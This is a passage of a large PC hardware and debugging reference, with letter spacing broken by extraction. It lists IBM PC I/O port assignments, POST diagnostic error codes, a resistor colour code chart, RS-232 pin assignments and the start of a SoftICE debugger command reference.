% 3B0- 3BF Monochr ome Di spl ay Adapt er ( wr i t e onl y, see ~6845~)
3B0 por t addr ess decodes t o 3B4
3B1 por t addr ess decodes t o 3B5
3B2 por t addr ess decodes t o 3B4
3B3 por t addr ess decodes t o 3B5
3B4 6845 i ndex r egi st er , sel ect s whi ch r egi st er [ 0- 11h]
i s t o be accessed t hr ough por t 3B5
3B5 6845 dat a r egi st er [ 0- 11h] sel ect ed by por t 3B4,
r egi st er s 0C- 0F may be r ead. I f a r ead occur s wi t hout
t he adapt er i nst al l ed, FFh i s r et ur ned. ( see 6845)
3B6 por t addr ess decodes t o 3B4
3B7 por t addr ess decodes t o 3B5
3B8 6845 Mode cont r ol r egi st er
3B9 r eser ved f or col or sel ect r egi st er on col or adapt er
3BA st at us r egi st er ( r ead onl y)
3BB r eser ved f or l i ght pen st r obe r eset

% 3BC- 3BF Pr i mar y Par al l el Pr i nt er Adapt er ( see ~PARALLEL PORT~)
3BC par al l el 1, dat a por t
3BD par al l el 1, st at us por t
3BE par al l el 1, cont r ol por t

% 3C0- 3CF EGA/ VGA
Pagina 640 di 991
3C0 VGA at t r i but e and sequencer r egi st er
3C1 Ot her vi deo at t r i but es
3C2 EGA, VGA, CGA i nput st at us 0
3C3 Vi deo subsyst emenabl e
3C4 CGA, EGA, VGA sequencer i ndex
3C5 CGA, EGA, VGA sequencer
3C6 VGA vi deo DAC PEL mask
3C7 VGA vi deo DAC st at e
3C8 VGA vi deo DAC PEL addr ess
3C9 VGA vi deo DAC
3CA VGA gr aphi cs 2 posi t i on
3CC VGA gr aphi cs 1 posi t i on
3CD VGA f eat ur e cont r ol
3CE VGA gr aphi cs i ndex
3CF Ot her VGA gr aphi cs

% 3D0- 3DF Col or Gr aphi cs Moni t or Adapt er ( por t s 3D0- 3DB ar e
wr i t e onl y, see 6845)
3D0 por t addr ess decodes t o 3D4
3D1 por t addr ess decodes t o 3D5
3D2 por t addr ess decodes t o 3D4
3D3 por t addr ess decodes t o 3D5
3D4 6845 i ndex r egi st er , sel ect s whi ch r egi st er [ 0- 11h]
i s t o be accessed t hr ough por t 3D5
3D5 6845 dat a r egi st er [ 0- 11h] sel ect ed by por t 3D4,
r egi st er s 0C- 0F may be r ead. I f a r ead occur s wi t hout
t he adapt er i nst al l ed, FFh i s r et ur ned. ( see ~6845~)
3D6 por t addr ess decodes t o 3D4
3D7 por t addr ess decodes t o 3D5
3D8 6845 Mode cont r ol r egi st er ( CGA, EGA, VGA, except PCj r )
3D9 col or sel ect pal et t e r egi st er ( CGA, EGA, VGA, see 6845)
3DA st at us r egi st er ( r ead onl y, see 6845, PCj r VGA access)
3DB Cl ear l i ght pen l at ch ( any wr i t e)
3DC Pr eset Li ght pen l at ch
3DF CRT/ CPU page r egi st er ( PCj r onl y)

% 3E8- 3EF COM3 non PS/ 2 UART ( Reser ved by I BM) ( see ~UART~)

% 3F0- 3F7 Fl oppy di sk cont r ol l er ( except PCj r )
3F0 Di sket t e cont r ol l er st at us A
3F1 Di sket t e cont r ol l er st at us B
3F2 cont r ol l er cont r ol por t
3F4 cont r ol l er st at us r egi st er
3F5 dat a r egi st er ( wr i t e 1- 9 byt e command, see ~I NT 13~)
3F6 Di sket t e cont r ol l er dat a
3F7 Di sket t e di gi t al i nput

% 3F8- 3FF COM1 Pr i mar y Asynchr onous Adapt er ( see ~UART~)

3220- 3227 PS/ 2 COM3 ( see UART)
3228- 322F PS/ 2 COM4 ( see UART)
4220- 4227 PS/ 2 COM5 ( see UART)
4228- 422F PS/ 2 COM6 ( see UART)
5220- 5227 PS/ 2 COM7 ( see UART)
5228- 522F PS/ 2 COM8 ( see UART)

- many car ds desi gned f or t he I SA ~BUS~ onl y uses t he l ower 10 bi t s
of t he por t addr ess but some I SA adapt er s use addr esses beyond
3FF. Any addr ess t hat mat ches i n t he l ower 10 bi t s wi l l decode
t o t he same car d. I t i s up t o t he adapt er s t o r esol ve or i gnor e
t he hi gh bi t s of t he por t addr esses. An exampl e woul d be t he
Cl ust er adapt er t hat has a por t addr ess of 390h. The second
cl ust er adapt er has a por t addr ess of 790h whi ch r esol ves t o
Pagina 641 di 991
t he same por t addr ess wi t h t he car ds det er mi ni ng whi ch one
act ual l y get s t he dat a.
: di agnost i c codes: POST er r or s
^DI AGS I BM PC Di agnost i c Er r or Codes

% Code Descr i pt i on ( Di agnost i c Er r or Codes)

1x undet er mi ned pr obl emer r or s
2x power suppl y er r or s
61 bat t er y er r or ( PS/ 2)
62 conf i gur at i on changed but no adapt or s changed or CRC er r or
63 memor y si ze dur i ng POST does not mat ch ~CMOS~ RAM
65 car d I d' s i n CMOS do not mat ch syst em

% 1xx Syst emBoar d Er r or s
101 syst emboar d f ai l ed
102 BI OS ROM checksumer r or ( PC, XT) , Ti mer ( AT)
103 BASI C ROM checksumer r or ( PC, XT) , Ti mer i nt er r upt ( AT)
104 i nt er r upt cont r ol l er ( PC, XT) , Pr ot ect ed mode ( AT)
105 t i mer ( PC, XT) , Last ~8042~ command not accept ed ( AT)
106 conver t i ng l ogi c t est f ai l ur e
107 adapt er car d or mat h copr ocessor ( NMI )
108 t i mer bus t est
109 DMA t est er r or
110 syst emboar d memor y er r or ( PS/ 2)
111 adapt er memor y
112 syst emuni t adapt er f ai l ur e
114 syst emuni t and adapt er car d uni t f ai l ur e ( PS/ 1)
121 unexpect ed har dwar e i nt er r upt
131 casset t e wr ap t est f ai l ed
151 r eal - t i me cl ock, CMOS RAM or bat t er y
152 r eal - t i me cl ock
161 syst emopt i ons er r or , bat t er y f ai l ur e
162 CMOS RAM conf i gur at i on er r or
163 CMOS t i me and dat e not set
164 syst emmemor y conf i gur at i on i s i ncor r ect
165 adapt er added/ r emoved
199 user i ndi cat ed conf i gur at i on not cor r ect

% 2xx RAM Er r or s
201 memor y t est er r or
202 memor y addr ess er r or ( Li ne er r or 0 - 15)
203 memor y addr ess er r or ( Li ne er r or 16 - 23)
216 mot her boar d memor y

% 3xx Keyboar d Er r or s
301 keyboar d di d not r espond t o sof t war e r eset or a st uck
( number pr ecedi ng 301 i s scan code f or st uck key)
302 user i ndi cat ed keyboar d er r or or AT syst emuni t i s l ocked
303 keyboar d or syst emboar d er r or
304 keyboar d or syst emboar d er r or ; CMOS does not mat ch syst em
341 r epl ace keyboar d
342 r epl ace keyboar d i nt er f ace cabl e
343 r epl ace enhancement car d or cabl e
365 keyboar d ( r epl ace keyboar d)
366 i nt er f ace cabl e ( r epl ace cabl e)
367 enhancement car d or cabl e ( r epl ace)

% 4xx Monochr ome Moni t or Er r or s
401 monochr ome memor y t est , hor i zont al sync f r equency
t est , or vi deo t est f ai l ed
408 user i ndi cat ed di spl ay at t r i but es f ai l ur e
416 user i ndi cat ed char act er set f ai l ur e
Pagina 642 di 991
424 user i ndi cat ed 80x25 mode f ai l ur e
432 par al l el por t t est f ai l ed ( monochr ome adapt er )

% 5xx Col or Moni t or Er r or s
501 CGA memor y t est f ai l ed, hor i zont al sync f r equency t est , or
vi deo t est f ai l ed
508 user i ndi cat ed di spl ay at t r i but e f ai l ur e
516 user i ndi cat ed char act er set f ai l ur e
524 user i ndi cat ed 80x25 mode f ai l ur e
532 user i ndi cat ed 40x25 mode f ai l ur e
540 user i ndi cat ed 320x200 gr aphi cs mode f ai l ur e
548 user i ndi cat ed 640x200 gr aphi cs mode f ai l ur e
556 l i ght pen t est
564 user i ndi cat ed scr een pagi ng t est

% 6xx Di sket t e Dr i ve/ Adapt er Er r or s
601 di sket t e power on di agnost i cs t est f ai l ed
602 di sket t e t est f ai l ed ( boot r ecor d not val i d)
603 di sket t e si ze er r or
606 di sket t e ver i f y f unct i on f ai l ed
607 wr i t e pr ot ect ed di sket t e
608 bad command di sket t e st at us r et ur ned
610 di sket t e i ni t i al i zat i on f ai l ed
611 t i me- out - di sket t e st at us r et ur ned
612 bad NEC ~FDC~ - di sket t e st at us r et ur ned
613 bad DMA - di sket t e st at us r et ur ned
614 DMA boundar y er r or
621 bad seek - di sket t e st at us r et ur ned
622 bad CRC - di sket t e st at us r et ur ned
623 r ecor d not f ound - di sket t e st at us r et ur ned
624 bad addr ess mar k - di sket t e st at us r et ur ned
625 bad NEC seek - di sket t e st at us r et ur ned
626 di sket t e dat a compar e er r or
627 di sket t e change l i ne er r or
628 di sket t e r emoved

% 7xx 8087 Mat h Copr ocessor
701 copr ocessor t est f ai l ur e

% 9xx Par al l el Pr i nt er Adapt er Er r or s
901 par al l el pr i nt er adapt er t est f ai l ed

% 10xx Al t er nat e Par al l el Pr i nt er Adapt er
1001 al t er nat e pr i nt er adapt er t est f ai l ur e

% 11xx Asynchr onous Communi cat i ons Adapt er Er r or s
1101 asynchr onous communi cat i ons adapt er t est f ai l ed
1110 modemst at us r egi st er not cl ear
1111 r i ng- i ndi cat e
1112 t r ai l i ng edge r i ng- i ndi cat e
1113 r ecei ve and del t a r ecei ve l i ne si gnal det ect
1114 r ecei ve l i ne si gnal det ect
1115 del t a r ecei ve l i ne si gnal det ect
1116 l i ne cont r ol r egi st er : al l bi t s cannot be set
1117 l i ne cont r ol r egi st er : al l bi t s cannot be r eset
1118 t r ansmi t hol di ng and/ or shi f t r egi st er st uck on
1119 dat a r eady st uck on
1120 i nt er r upt enabl e r egi st er : al l bi t s cannot be set
1121 i nt er r upt enabl e r egi st er : al l bi t s cannot be r eset
1122 i nt er r upt pendi ng st uck on
1123 i nt er r upt I D r egi st er st uck on
1124 modemcont r ol r egi st er : al l bi t s cannot be set
1125 modemcont r ol r egi st er : al l bi t s cannot be r eset
Pagina 643 di 991
1126 modemst at us r egi st er : al l bi t s cannot be set
1127 modemst at us r egi st er : al l bi t s cannot be r eset
1128 i nt er r upt I D
1129 cannot f or ce over r un er r or
1130 no modemst at us i nt er r upt
1131 i nval i d i nt er r upt pendi ng
1132 no dat a r eady
1133 no dat a avai l abl e i nt er r upt
1134 no t r ansmi t hol di ng i nt er r upt
1135 no i nt er r upt s
1136 no r ecei ved l i ne st at us i nt er r upt
1137 no r ecei ve dat a avai l abl e
1138 t r ansmi t hol di ng r egi st er not empt y
1139 no modemst at us i nt er r upt
1140 t r ansmi t hol di ng r egi st er not empt y
1141 no i nt er r upt s
1142 no I RQ4 i nt er r upt
1143 no I RQ3 i nt er r upt
1144 no dat a t r ansf er r ed
1145 maxi mumbaud r at e
1146 mi ni mumbaud r at e
1148 t i me- out er r or
1149 i nval i d dat a r et ur ned
1150 modemst at us r egi st er er r or
1151 no DSR and del t a DSR
1152 no DSR
1153 no del t a DSR
1154 modemst at us r egi st er not cl ear
1155 no CTS and del t a CTS
1156 no CTS
1157 no del t a CTS

% 12xx Al t er nat e Asynchr onous Communi cat i ons Adapt er
1200- 1257 same as 1100- 1157

% 13xx Game Cont r ol Adapt er Er r or s
1301 game cont r ol adapt er t est f ai l ed
1302 j oyst i ck t est f ai l ed
1380 audi o car d and j oyst i ck ( PS/ 1)

% 14xx Pr i nt er Er r or s
1401 pr i nt er t est f ai l ed
1404 mat r i x pr i nt er f ai l ed

% 15xx SDLC Communi cat i ons Adapt er Er r or s
1501 adapt er t est f ai l ur e
1510 8255 por t b f ai l ur e
1511 8255 por t a f ai l ur e
1512 8255 por t c f ai l ur e
1513 8253 t i mer 1 di d not r each t er mi nal count
1514 8253 t i mer 1 st uck on
1515 8253 t i mer 0 di d not r each t er mi nal count
1516 8253 t i mer 0 st uck on
1517 8253 t i mer 2 di d not r each t er mi nal count
1518 8253 t i mer 2 st uck on
1519 8273 por t b er r or
1520 8273 por t a er r or
1521 8273 command/ r ead t i me- out
1522 i nt er r upt l evel 4 f ai l ur e
1523 r i ng I ndi cat e st uck on
1524 r ecei ve cl ock st uck on
1525 t r ansmi t cl ock st uck on
1526 t est i ndi cat e st uck on
Pagina 644 di 991
1527 r i ng i ndi cat e not on
1528 r ecei ve cl ock not on
1529 t r ansmi t cl ock not on
1530 t est i ndi cat e not on
1531 DSR not on
1532 CD not on
1533 CTS not on
1534 DSR st uck on
1535 CD st uck on
1536 CTS st uck on
1537 l evel 3 i nt er r upt f ai l ur e
1538 r ecei ve i nt er r upt r esul t s er r or
1539 wr ap dat a compar e er r or
1540 DMA channel 1 er r or
1541 DMA channel 1 er r or
1542 er r or i n 8273 er r or checki ng or st at us r epor t i ng
1547 st r ay i nt er r upt l evel 4
1548 st r ay i nt er r upt l evel 3
1549 i nt er r upt pr esent at i on sequence t i me- out

% 16xx Di spl ay Emul at i on Er r or s ( 327x, 5520, 525x)

% 17xx Fi xed Di sk Er r or s
1701 post er r or
1702 adapt er er r or
1703 dr i ve er r or ( seek)
1704 adapt er or dr i ve er r or
1705 no r ecor d f ound
1706 wr i t e f aul t er r or
1707 t r ack 0 er r or
1708 head sel ect er r or
1709 def ect i ve er r or check
1710 r ead buf f er over r un
1711 bad addr ess mar k
1712 undet er mi ned er r or
1713 dat a compar e er r or
1714 dr i ve not r eady
1780 di sk 0 f ai l ur e
1781 di sk 1 f ai l ur e
1782 di sk cont r ol l er f ai l ur e
1790 f i xed di sk 0 er r or
1791 f i xed di sk 1 er r or

% 18xx I / O Expansi on Uni t Er r or s
1801 I / O expansi on uni t POST er r or
1810 enabl e/ di sabl e f ai l ur e
1811 ext ender car d wr ap t est f ai l ed ( di sabl ed)
1812 hi gh or der addr ess l i nes f ai l ur e ( di sabl ed)
1813 wai t st at e f ai l ur e ( di sabl ed)
1814 enabl e/ di sabl e coul d not be set on
1815 wai t st at e f ai l ur e ( enabl ed)
1816 ext ender car d wr ap t est f ai l ed ( enabl ed)
1817 hi gh or der addr ess l i nes f ai l ur e ( enabl ed)
1818 di sabl e not f unct i oni ng
1819 wai t r equest swi t ch not set cor r ect l y
1820 r ecei ver car d wr ap t est f ai l ur e
1821 r ecei ver hi gh or der addr ess l i nes f ai l ur e

% 19xx 3270 PC At t achment Car d Er r or s

% 20xx Bi sync Communi cat i ons Adapt er Er r or s
2010 8255 por t a f ai l ur e
2011 8255 por t b f ai l ur e
Pagina 645 di 991
2012 8255 por t c f ai l ur e
2013 8253 t i mer 1 di d not r each t er mi nal count
2014 8253 t i mer 1 st uck on
2016 8253 t i mer 2 di dn' t r each t er mi nal count or t i mer 2 st uck on
2017 8251 DSR f ai l ed t o come on
2018 8251 CTS not sensed
2019 8251 DSR st uck on
2020 8251 CTS st uck on
2021 8251 har dwar e r eset f ai l ed
2022 8251 sof t war e r eset f ai l ed
2023 8251 sof t war e er r or r eset f ai l ed
2024 8251 t r ansmi t r eady di d not come on
2025 8251 r ecei ve r eady di d not come on
2026 8251 coul d not f or ce " over r un" er r or st at us
2027 i nt er r upt f ai l ur e, no t i mer i nt er r upt
2028 t r ansmi t i nt er r upt , car d or pl anar f ai l ur e
2029 t r ansmi t i nt er r upt , car d f ai l ur e
2030 r ecei ve i nt er r upt , car d or pl anar f ai l ur e
2031 r ecei ve i nt er r upt , car d f ai l ur e
2033 r i ng i ndi cat e st uck on
2034 r ecei ve cl ock st uck on
2035 t r ansmi t cl ock st uck on
2036 t est i ndi cat e st uck on
2037 r i ng i ndi cat e st uck on
2038 r ecei ve cl ock not on
2039 t r ansmi t cl ock not on
2040 t est i ndi cat e not on
2041 DSR not on
2042 CD not on
2043 CTS not on
2044 DSR st uck on
2045 CD st uck on
2046 CTS st uck on
2047 unexpect ed t r ansmi t i nt er r upt
2048 unexpect ed r ecei ve i nt er r upt
2049 t r ansmi t dat a di d not equal r ecei ve dat a
2050 8251 det ect ed over r un er r or
2051 l ost DSR dur i ng dat a wr ap
2052 r ecei ve t i me- out dur i ng dat a wr ap

% 21xx Al t er nat e Bi sync Communi cat i ons Adapt er Er r or s
2100- 2152 same as 2000- 2052

% 22xx Cl ust er Adapt er Er r or s

% 24xx EGA Er r or s
2401 adapt er t est f ai l ur e
2408 user - i ndi cat ed di spl ay at t r i but es
2416 user - i ndi cat ed char act er set
2424 user - i ndi cat ed 80x25 mode
2432 user - i ndi cat ed 40x25 mode
2440 user - i ndi cat ed 320x200 gr aphi cs mode
2448 user - i ndi cat ed 640x200 gr aphi cs mode
2456 l i ght pen t est
2464 user - i ndi cat ed scr een pagi ng t est

% 2501 EGA Di spl ay Er r or

% 28xx 3278/ 79 Emul at or Adapt er ( PC, XT)

% 29xx Col or Mat r i x Pr i nt er Er r or s

% 30xx Local Ar ea Net wor k Adapt er
Pagina 646 di 991

% 31xx Al t er nat e Local Ar ea Net wor k Adapt er

% 33xx Compact Pr i nt er Er r or s

% 36xx I EEE 488 Adapt er

% 37xx Reser ved f or Fut ur e Use

% 38xx Dat a Acqui si t i on Adapt er

% 39xx PGA Di spl ay and/ or Adapt er

% 48xx I nt er nal Modem

% 49xx Al t er nat e I nt er nal Modem

% 71xx Voi ce Communi cat i ons Adapt er

% 73xx 3. 5 I nch Di sket t e Dr i ve
7301 di sket t e dr i ve/ adapt er t est f ai l ur e
7306 di sket t e change l i ne er r or
7307 wr i t e- pr ot ect ed di sket t e
7308 bad command
7310 t r ack zer o er r or
7311 t i meout
7312 bad NEC7313 bad DMA
7314 DMA boundar y er r or
7315 bad i ndex
7316 speed er r or
7321 bad seek
7322 bad CRC
7323 r ecor d not f ound
7324 bad addr ess mar k
7325 bad NEC seek

% 86xx PS/ 1 Mouse Er r or


- al l er r or codes f or t he di agnost i c and advanced di agnost i c
packages f or t he PC, XT and AT ar e r epr esent ed wi t h t he devi ce
number f ol l owed by t wo di gi t s ot her t han 00. The devi ce number
pl us 00 r epr esent s successf ul compl et i on of t he t est .

: r esi st or val ues
^Resi st or Col or Code Char t

% Col or Di gi t Mul t i pl i er

Bl ack 0 1
Br own 1 10
Red 2 100 Gol d 5%t ol er ance
Or ange 3 1, 000 Si l ver 10%t ol er ance
Yel l ow 4 10, 000
Gr een 5 100, 000
Bl ue 6 1, 000, 000
Vi ol et 7 10, 000, 000
Gr ay 8 100, 000, 000
Whi t e 9 1, 000, 000, 000

%
%

Pagina 647 di 991
t ol er ance ( gol d or si l ver )
Ohmval ue mul t i pl i er
f i r st 2 di gi t s of Ohmval ue
: RS232 pi ns: ser i al por t s
^RS232 Communi cat i on Conf i gur at i on

% I BM PC I BM AT
% Pi n 25- Pi n Si gnal ( DTE) Pi n 9- Pi n Si gnal ( DTE)

1 Chassi s Gr ound ( GND) 1 Car r i er Det ect ( CD)
2 Tr ansmi t Dat a ( TD) 2 Recei ve Dat a ( RD)
3 Recei ve Dat a ( RD) 3 Tr ansmi t Dat a ( TD)
4 Request t o Send ( RTS) 4 Dat a Ter mi nal Ready ( DTR)
5 Cl ear t o Send ( CTS) 5 Si gnal Gr ound ( SG)
6 Dat a Set Ready ( DSR) 6 Dat a Set Ready ( DSR)
7 Si gnal Gr ound ( SG) 7 Request t o Send ( RTS)
8 Car r i er Det ect ( CD) 8 Cl ear t o Send ( CTS)
9- 19 ( not used) 9 Ri ng I ndi cat or ( RI )
20 Dat a Ter mi nal Ready ( DTR)
22 Ri ng I ndi cat or ( RI )

Ther e ar e t wo gener al cabl e conf i gur at i ons used wi t h t he RS- 232C
Communi cat i ons St andar d:

Dat a Ter mi nal Equi pment ( DTE) : I BM PC' s, pr i nt er s, pl ot t er s, et c
Dat a Communi cat i on Equi pment ( DCE) : modems, mul t i pl exor s, et c

DCE t o DTE r equi r es al l l i nes r un st r ai ght t hr ough
DTE t o DTE usual l y r equi r es swappi ng of t he f ol l owi ng l i nes

RD and TD RD and TD
RTS and CTS or RTS, CTS and DCD
DTR and DSR DCD and RTS, CTS

% Si gnal Funct i ons

GND Gr ound pr ot ect i ve saf et y gr ound
TD Tr ansmi t Dat a DTE out put dat a
RD Recei ve Dat a DTE i nput dat a
RTS Request To Send DTE out put , DTE woul d l i ke t o t r ansmi t
CTS Cl ear To Send DTE i nput , DCE i s r eady t o t r ansmi t
DSR Dat a Set Ready DTE i nput , DCE i s r eady t o communi cat e
SG Si gnal Gr ound pr ovi des a Zer o r ef er ence vol t age
DCD Dat a Car r i er Det ect DTE i nput , dat a l i nk est abl i shed, al so
known as Recei ve Li ne Si gnal Det ect ( RLSD)
DTR Dat a Ter mi nal Ready DTE out put , devi ce r eady
RI Ri ng I ndi cat or DTE i nput , announces i ncomi ng cal l


- RTS/ CTS i s used f or hal f dupl ex l i ne t ur n ar ound
- i n hal f dupl ex DCD i s asser t ed onl y by t he r ecei vi ng devi ce
- f ul l dupl ex modems t i e CTS & DCD t oget her ( no CTS/ RTS handshaki ng)
- most modems r equi r e DTR t o be pr esent t o r espond t o commands
- maxi mumvol t ages ar e bet ween - 15 vol t s and +15 vol t s
- bi nar y out put s ar e bet ween +5 t o +15 vol t s and - 5 t o - 15 vol t s
- bi nar y i nput s ar e bet ween +3 t o +15 vol t s and - 3 t o - 15 vol t s
- i nput vol t ages bet ween - 3 t o +3 ar e undef i ned whi l e out put vol t ages
bet ween - 5 and +5 ar e undef i ned
- posi t i ve vol t ages i ndi cat e ON or SPACE, negat i ve vol t ages i ndi cat e
OFF or MARK



Pagina 648 di 991
@Sof t I CE Command Ref er ence

: .
^. Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Wi ndowCont r ol
^Locat e t he cur r ent i nst r uct i on i n t he Code wi ndow.

%Synt ax
.

%Use
When t he Code wi ndow i s vi si bl e, t he . ( Dot ) command makes t he i nst r uct i on at
t he cur r ent
CS: EI P vi si bl e and hi ghl i ght s i t .

%For Wi ndows 95 and Wi ndows NT
The command swi t ches cont ext s back t o t he or i gi nal cont ext t hat Sof t I CE popped
up i n.
r ef . bk Page 2 Wednesday, November 20, 1996 3: 55 PM

: ?
^? WI NDOWS 3. 1, WI NDOWS 95, WI NDOWS NT MI SCELLANEOUS
^Eval uat e an expr essi on.

%Synt ax
%For Wi ndows 3. 1
? [ command | expr essi on]

%For Wi ndows 95 and Wi ndows NT
? expr essi on

%Use
%For Wi ndows 3. 1
Under Wi ndows 3. 1, t he par amet er you suppl y t o t he ? command det er mi nes whet her
hel p i s
di spl ayed or an expr essi on i s eval uat ed. I f you speci f y a command, ? di spl ays
det ai l ed
i nf or mat i on about t he command, i ncl udi ng t he command synt ax and an exampl e. I f
you
speci f y an expr essi on, t he expr essi on i s eval uat ed, and t he r esul t i s di spl ayed
i n hexadeci mal ,
deci mal , si gned deci mal ( onl y i f < 0) , and ASCI I .

%For Wi ndows 95 and Wi ndows NT
Under Wi ndows 95 and Wi ndows NT, t he ? command onl y eval uat es expr essi ons.
( Ref er t o
H on page 92 f or i nf or mat i on about get t i ng hel p under Wi ndows 95 and Wi ndows
NT. )
To eval uat e an expr essi on ent er t he ? command f ol l owed by t he expr essi on you
want t o
eval uat e. Sof t I CE di spl ays t he r esul t i n hexadeci mal , deci mal , si gned deci mal
( onl y i f < 0) ,
and ASCI I .

%Exampl e
The f ol l owi ng command di spl ays t he hexadeci mal , deci mal , and ASCI I
r epr esent at i ons of t he
val ue of t he expr essi on 10*4+3.
. : ? 10*4+3
00000043 0000000067 " C"
See Al so ~H~


: A
Pagina 649 di 991
^A Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Mi scel l aneous
^Assembl e code.

%Synt ax
A [ addr ess]

%Use
Use t he Sof t I CE assembl er t o assembl e i nst r uct i ons di r ect l y i nt o memor y. The
assembl er
suppor t s t he st andar d I nt el 80x86 i nst r uct i on set .

I f you do not speci f y t he addr ess, assembl y occur s at t he l ast addr ess wher e
i nst r uct i ons wer e
assembl ed. I f you have not ent er ed t he A command bef or e and di d not speci f y t he
addr ess, t he
cur r ent CS: EI P addr ess i s used.

The A command ent er s t he Sof t I CE i nt er act i ve assembl er . An addr ess di spl ays as
a pr ompt f or
each assembl y l i ne. Af t er you t ype an assembl y l anguage i nst r uct i on and pr ess
Ent er , t he
i nst r uct i ons assembl e i nt o memor y at t he speci f i ed addr ess. Type i nst r uct i ons
i n t he st andar d
I nt el f or mat . To exi t assembl er mode, pr ess Ent er at an addr ess pr ompt .

I f t he addr ess r ange i n whi ch you ar e assembl i ng i nst r uct i ons i s vi si bl e i n t he
Code wi ndow,
t he i nst r uct i ons change i nt er act i vel y as you assembl e.

The Sof t I CE assembl er suppor t s t he f ol l owi ng i nst r uct i on set s:
. For Wi ndows 3. 1: 386, Fl oat i ng Poi nt
. For Wi ndows 95 and Wi ndows NT: 386, 486, Pent i um, Pent i umPr o, al l
cor r espondi ng
numer i c copr ocessor i nst r uct i on set s, and MMX i nst r uct i on set s

Sof t I CE al so suppor t s t he f ol l owi ng speci al synt ax:
. Ent er USE16 or USE32 on a separ at e l i ne t o assembl e subsequent i nst r uct i ons
as 16- bi t
or 32- bi t , r espect i vel y. I f you do not speci f y USE16 or USE32, t he def aul t i s
t he same as
t he mode of t he cur r ent CS r egi st er .
. Mnemoni c f ol l owed by a l i st of byt es and/ or quot ed st r i ngs separ at ed by
spaces or
commas.
. RETF mnemoni c r epr esent s a f ar r et ur n.
. Use WORD PTR, BYTE PTR, DWORD PTR, and FWORD PTR t o det er mi ne dat a
si ze, i f t her e i s no r egi st er ar gument .
Exampl e: MOV BYTE PTR ES: [ 1234. ] , 1
. Use FAR and NEAR t o expl i ci t l y assembl e f ar and near j umps and cal l s. I f you
do not
speci f y ei t her , t he def aul t i s NEAR.
. Pl ace oper ands r ef er r i ng t o memor y l ocat i ons i n squar e br acket s.
Exampl e: MOV AX, [ 1234]

Any changes you make t o 32- bi t code ar e ``st i cky. ' ' Thi s means t hey r emai n i n
pl ace even i f
you l oad or r el oad t he modul e you change. To r emove t he changes, do one of t he
f ol l owi ng:
r est ar t Wi ndows NT, f l ush t he memor y i mage f r omt he cache, or modi f y t he
modul e.

%Exampl e
When you use t he f ol l owi ng command:
Pagina 650 di 991
A CS: 1234
t he assembl er pr ompt s you f or assembl y i nst r uct i ons. Ent er al l i nst r uct i ons and
pr ess Ent er at
t he addr ess pr ompt . The assembl er assembl es t he i nst r uct i ons begi nni ng at
of f set 1234h
wi t hi n t he cur r ent code segment .

: ACTI ON
^ACTI ON Wi ndows 3. 1 ModeCont r ol
^Set act i on af t er br eakpoi nt i s r eached.

%Synt ax
ACTI ON [ nmi | i nt 1| i nt 3| her e| i nt er r upt - number | debugger - name]
i nt er r upt - number : Val i d i nt er r upt number bet ween 0 and 5Fh.
debugger - name: Modul e name of t he Wi ndows appl i cat i on debugger t o gai n cont r ol
of
on a Sof t I CE br eakpoi nt .

%Use
The ACTI ON command det er mi nes wher e t o gi ve cont r ol when br eakpoi nt condi t i ons
ar e
met . I n most cases, you can use ACTI ON t o pass cont r ol t o an appl i cat i on
debugger you ar e
usi ng i n conj unct i on wi t h Sof t I CE. Use t he HERE par amet er t o r et ur n t o Sof t I CE
when
br eak condi t i ons have been met . Use t he NMI , I NT1, and I NT3 par amet er s as
al t er nat i ves
f or act i vat i ng DOS debugger s when br eak condi t i ons ar e met . Use debugger - name
t o act i vat e
Wi ndows debugger s. To f i nd t he modul e name of t he debugger , use t he MOD
command.

I f you speci f y debugger - name, an I NT 0 t r i gger s t he Wi ndows debugger . Sof t I CE
i gnor es
br eakpoi nt s t hat t he Wi ndows debugger causes i f t he debugger accesses memor y
cover ed by a
memor y l ocat i on or r ange br eakpoi nt . When Sof t I CE passes cont r ol t o t he Wi ndows
debugger wi t h an I NT 0, t he Wi ndows debugger r esponds as i f a di vi de over f l ow
occur r ed
and di spl ays a message. I gnor e t hi s message because t he I NT 0 was not caused by
an act ual
di vi de over f l ow.

Not e: The ACTI ON command i s obsol et e under Wi ndows 95 and Wi ndows NT.

%Exampl e
When usi ng Sof t I CE wi t h t he f ol l owi ng pr oduct s, use t he cor r espondi ng command:
Pr oduct ______________________________Sof t I CE Command

CodeVi ew f or DOS ACTI ON nmi
Not e: Sof t I CE gener at es a non- maskabl e i nt er r upt when
br eak condi t i ons ar e met . Thi s gi ves cont r ol t o CodeVi ew f or DOS.
CodeVi ew f or Wi ndows ACTI ON cvw
Bor l and' s Tur bo Debugger f or Wi ndows ACTI ON t dw
Mul t i scope' s Debugger f or Wi ndows ACTI ON r t d

: ADDR
^ADDR Wi ndows 95 Syst emI nf or mat i on
^Di spl ay or swi t ch t o addr ess cont ext .

%Synt ax
ADDR [ cont ext - handl e | pr ocess- name]
cont ext - handl e: Addr ess cont ext handl e.
Pagina 651 di 991
pr ocess- name: Name of a pr ocess.

%Use
To be abl e t o vi ew t he pr i vat e addr ess space f or an appl i cat i on pr ocess, set
t he cur r ent addr ess
cont ext wi t hi n Sof t I CE t o t hat of t he appl i cat i on by pr ovi di ng an addr ess
cont ext - handl e or
t he pr ocess- name as t he f i r st par amet er t o t he ADDR command. To vi ew
i nf or mat i on on al l
cur r ent l y act i ve cont ext s, use ADDR wi t h no par amet er s. The f i r st addr ess
cont ext l i st ed i s t he
cur r ent addr ess cont ext .
To use ADDR wi t h
Wi ndows NT, r ef er t o ~ADDR ( NT) ~

For each addr ess cont ext , Sof t I CE pr i nt s t he f ol l owi ng i nf or mat i on:
. addr ess cont ext handl e
. addr ess of t he pr i vat e page t abl e ent r y ar r ay ( PGTPTR) of t he cont ext
. number of ent r i es t hat ar e val i d i n t he PGTPTR ar r ay
. st ar t i ng and endi ng l i near addr esses r epr esent ed by t he cont ext
. addr ess of t he mut ex obj ect used t o cont r ol access t o t he cont ext ' s page
t abl es
. name of t he pr ocess t hat owns t he cont ext .
When you use t he ADDR command wi t h an addr ess cont ext par amet er , Sof t I CE
swi t ches
addr ess cont ext s t he same way as Wi ndows does.

When swi t chi ng addr ess cont ext s, Wi ndows 95 copi es al l ent r i es i n t he new
cont ext ' s
PGTPTR ar r ay t o t he page di r ect or y ( poi nt ed at by t he CR3 r egi st er ) . A cont ext
swi t ch
af f ect s t he addr essi ng of t he l ower 2GB of memor y f r oml i near addr ess 0 t o
7FFFFFFFh.
Each ent r y i n a PGTPTR ar r ay i s a page di r ect or y ent r y whi ch poi nt s at a page
